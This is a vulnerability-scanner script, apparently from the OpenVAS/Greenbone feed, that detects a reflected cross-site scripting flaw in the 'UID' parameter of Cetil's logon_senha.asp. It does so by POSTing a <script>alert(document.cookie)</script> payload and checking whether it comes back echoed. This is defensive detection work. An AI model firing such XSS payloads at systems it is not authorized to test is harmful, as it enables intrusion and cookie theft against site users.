Cetil 'logon_senha.asp' Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804463");
  script_version("2024-06-13T05:05:46+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2024-06-13 05:05:46 +0000 (Thu, 13 Jun 2024)");
  script_tag(name:"creation_date", value:"2014-06-18 12:20:43 +0530 (Wed, 18 Jun 2014)");
  script_name("Cetil 'logon_senha.asp' Cross Site Scripting Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "global_settings.nasl",
                      "gb_microsoft_iis_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/93578");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/67778");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/126881");

  script_tag(name:"summary", value:"Cetil is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP POST request and check whether it is able to read
  cookie or not.");

  script_tag(name:"insight", value:"This flaw is due to the logon_senha.asp script does not validate input to
  the 'UID' parameter before returning it to users.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
  script code in a user's browser session in the context of an affected site.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");

http_port = http_get_port(default:80);
if( ! http_can_host_asp( port:http_port ) ) exit( 0 );

host = http_host_name(port:http_port);

foreach dir (make_list_unique("/", "/cetil", "/payment", "/gpweb", http_cgi_dirs(port:http_port))) {

  if(dir == "/") dir = "";

  sndReq = http_get(item:string(dir, "/logon_senha.asp"), port:http_port);
  rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

  if(rcvRes && '>CETIL -' >< rcvRes)
  {
    postdata = "UID=<script>alert(document.cookie)</script>&senha=&Submit=ok";

    sndReq = string("POST ", dir, "/logon_senha.asp HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "Content-Type: application/x-www-form-urlencoded\r\n",
                    "Content-Length: ", strlen(postdata), "\r\n\r\n",
                    postdata);

    rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

    if(rcvRes =~ "^HTTP/1\.[01] 200" && "<script>alert(document.cookie)</script>" >< rcvRes &&
      ">CETIL" >< rcvRes)
    {
      security_message(port:http_port);
      exit(0);
    }
  }
}

exit(99);